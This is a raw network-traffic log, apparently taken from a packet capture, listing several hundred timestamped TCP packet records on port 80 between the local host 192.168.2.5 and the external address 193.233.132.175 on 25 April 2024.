Apr 25, 2024 16:29:12.682550907 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682559967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682574987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682600975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682656050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682670116 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682682037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682687044 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682696104 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682701111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682712078 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682719946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682733059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682749987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682821035 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682833910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.682853937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.682867050 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683060884 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683074951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683088064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683094978 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683103085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683109045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683121920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683125019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683135986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683140039 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683151007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683155060 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683166027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683171034 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683180094 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683185101 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683197021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683202028 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683211088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683219910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683226109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683233023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683239937 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683245897 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683254004 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683259964 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683269024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683275938 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683284044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683289051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683298111 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683304071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683314085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683319092 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683329105 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683336020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683343887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683347940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683357000 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683362007 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683371067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683381081 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683387041 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683394909 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683401108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683410883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683413982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683425903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683427095 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683439970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683444023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683453083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683471918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683475018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683485031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683491945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683499098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683511019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683520079 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683526993 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683533907 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683538914 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683553934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683561087 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683568954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683581114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683588028 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683597088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683600903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683621883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683629990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683636904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683650970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683654070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683665037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683677912 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683679104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683696032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683718920 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.683918953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.683950901 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.684494019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.684530020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.684876919 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.684938908 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.684998035 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685031891 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685198069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685210943 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685225964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685240030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685241938 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685250998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685260057 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685275078 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685430050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685446978 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685458899 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685472012 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685471058 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685484886 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685493946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685501099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685520887 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685539007 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685585976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685600996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685614109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685621023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685635090 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685652018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685775042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685787916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685801983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685806036 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685813904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685820103 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685832024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685836077 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685851097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685868025 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685945034 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685959101 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685971975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685976028 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.685985088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.685991049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686003923 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686019897 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686141014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686155081 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686168909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686172962 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686182976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686188936 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686197042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686202049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686212063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686218023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686230898 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686249971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686321020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686335087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686352015 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686357021 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686369896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686384916 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686503887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686517954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686531067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686538935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686542988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686551094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686558962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686568022 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686580896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686597109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686649084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686664104 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686681986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686697960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686834097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686846972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686862946 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686866999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686877966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686887980 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686892986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686897993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686918974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686955929 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.686985970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.686999083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687016010 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687020063 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687031984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687052011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687165022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687181950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687196016 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687201977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687211037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687217951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687227964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687237024 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687242031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687248945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687257051 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687266111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687279940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687283993 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687304020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687320948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687494040 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687509060 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687520027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687527895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687534094 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687551022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687563896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687563896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687572956 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687598944 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687654018 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687668085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687680006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687686920 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687693119 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687715054 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687748909 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687855959 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687870979 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687884092 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687894106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687897921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687910080 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687912941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687923908 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.687927008 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.687959909 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688009977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688105106 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688118935 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688133001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688142061 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688148022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688163042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688165903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688175917 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688189983 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688191891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688208103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688211918 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688222885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688235998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688235998 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688251972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688266039 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688272953 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688281059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688293934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688302040 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688308954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688316107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688323975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688349009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688359976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688416958 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688431978 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688445091 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688453913 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688467979 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688483000 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688601017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688616991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688628912 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688638926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688643932 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688652992 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688657045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688669920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688673019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688683987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688725948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688750029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688761950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688941002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688956022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688968897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688977957 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688982010 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.688992023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.688997984 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689002991 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689013004 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689023018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689038992 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689055920 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689259052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689275026 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689291000 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689296961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689310074 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689325094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689440966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689454079 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689466953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689474106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689486980 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689503908 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689614058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689627886 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689639091 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689646006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689646006 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689673901 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689696074 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689809084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689826965 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689840078 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689848900 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689853907 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.689862967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689873934 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689889908 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.689994097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.690009117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.690022945 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.690026999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.690042019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.690057993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.690169096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.690187931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.690202951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.690216064 CEST	80	49709	193.233.132.175	192.168.2.5
